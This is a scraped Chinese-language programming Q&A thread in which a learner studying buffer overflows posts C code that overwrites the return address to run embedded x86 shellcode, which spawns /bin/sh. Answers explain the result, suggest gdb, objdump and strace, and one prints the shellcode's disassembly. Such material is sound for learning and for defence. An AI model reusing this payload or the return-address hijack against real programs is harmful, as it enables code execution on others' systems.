【问题标题】:Buffer overflow, not expected result缓冲区溢出,不是预期的结果
【发布时间】:2013-08-14 05:27:28
【问题描述】:

您好,我正在了解Buffer Overflow。为了更好地理解,我写了一个小代码来检查发生了什么,但我没有发现任何错误。

char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

然后输出:

[krishna]$ gcc -o testsc testsc.c
[krishna]$ ./testsc
$ exit
[krishna]$

为什么是exit?我可以通过任何其他方式检查程序执行时内部发生的情况。

如果我的方法不够好,我还能尝试什么?

【问题讨论】:

  • $ 前面的exit 告诉你还有另一个shell。
  • @MihaiMaruseac... 我怎样才能检查另一个外壳?
  • 你自己生成了shellcode吗?
  • 最好的办法是在 ollydbg 或 IDA PRO 之类的反汇编程序中运行测试,并逐行断点以查看它到底做了什么。

标签: c buffer-overflow


【解决方案1】:

分配指针与复制缓冲区不同。您可能的意思是:

memcpy(ret, shellcode, sizeof(shellcode));

但这也不是缓冲区溢出。在这种情况下,您将尝试写入程序的只读代码页,因此您将收到某种类型的信号或系统异常。

【讨论】:

    【解决方案2】:

    我知道这并不能回答问题,但它可以让你知道 shellcode 的作用

    最好的办法是在反汇编程序(如 ollydbg 或 IDA PRO)中运行测试程序,并逐行断点以查看它到底做了什么。

    我使用了 ConvertShellcode 2.0,它将 shellcode 显示为程序集,这就是它的样子

    ConvertShellcode.exe http://www.mediafire.com/?rnnqjdyv0nbency的下载链接

    用法。

    ConvertShellcode.exe \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3
    


    ConvertShellcode 2.0
    Copyright (C) 2009 Alain Rioux.  All rights reserved.
    
    Assembly language source code :
    ***************************************
    00000000  jmp 0x2c
    00000002  pop esi
    00000003  mov dword[esi+0x8],esi
    00000006  mov byte[esi+0x7],0x0
    0000000a  mov dword[esi+0xc],0x0
    00000011  mov eax,0xb
    00000016  mov ebx,esi
    00000018  lea ecx,[esi+0x8]
    0000001b  lea edx,[esi+0xc]
    0000001e  int 0x80
    00000020  mov eax,0x1
    00000025  mov ebx,0x0
    0000002a  int 0x80
    0000002c  call 0x2
    00000031  das
    00000032  bound ebp,qword[ecx+0x6e]
    00000035  das
    00000036  jae 0xa0
    

    【讨论】:

      【解决方案3】:

      您可以使用 gdb 进行调试并了解内部发生的情况。

            gcc -g -o testsc testsc.c
      
            gdb testsc
      
            (gdb)break main
            (gdb)print ret
            (gdb)print *ret
      

      并逐步完成代码。

      同时您可以使用 readelf/objdump 查看反汇编代码 在另一个终端, objdump -xsd 测试c

      并使用 SSpoke 提到的转换 shell 代码来查看 shell 代码在汇编中的样子。

      还可以通过使用查看汇编代码

                gcc -S testsc.c
      

      【讨论】:

        【解决方案4】:

        为什么是退出?

        sh 打印 exit 如果输入在 EOF,例如当 Ctrl D 被按下时;如果你没有这样做,那么 EOF 肯定有其他原因。

        当我的程序运行时,我可以通过任何其他方式检查内部发生的情况 正在执行。

        由于您的程序已经成功执行/bin/sh,我认为使用调试器检查您的程序内部毫无意义。我会查看strace testsc 的输出(也可以跟踪shell);接近尾声我们应该看到一个read 调用,它应该获取sh 的命令行输入;也许从返回值和错误号我们可以推断出EOF的原因,或者我们可以看到使用的文件描述符来自哪里。

        顺便说一句,您使用 gcc 2.95.3 (x86) 编译的程序可以在没有 sh 立即退出的情况下工作。

        【讨论】:

          【解决方案5】:

          缓冲区溢出?

          char a[8];
          strcpy(a, "0123456789");
          

          【讨论】:

            猜你喜欢
            • 2013-02-28
            • 2016-01-05
            • 1970-01-01
            • 2015-12-16
            • 1970-01-01
            • 2010-11-11
            • 1970-01-01
            • 1970-01-01
            • 2013-10-28
            相关资源
            最近更新 更多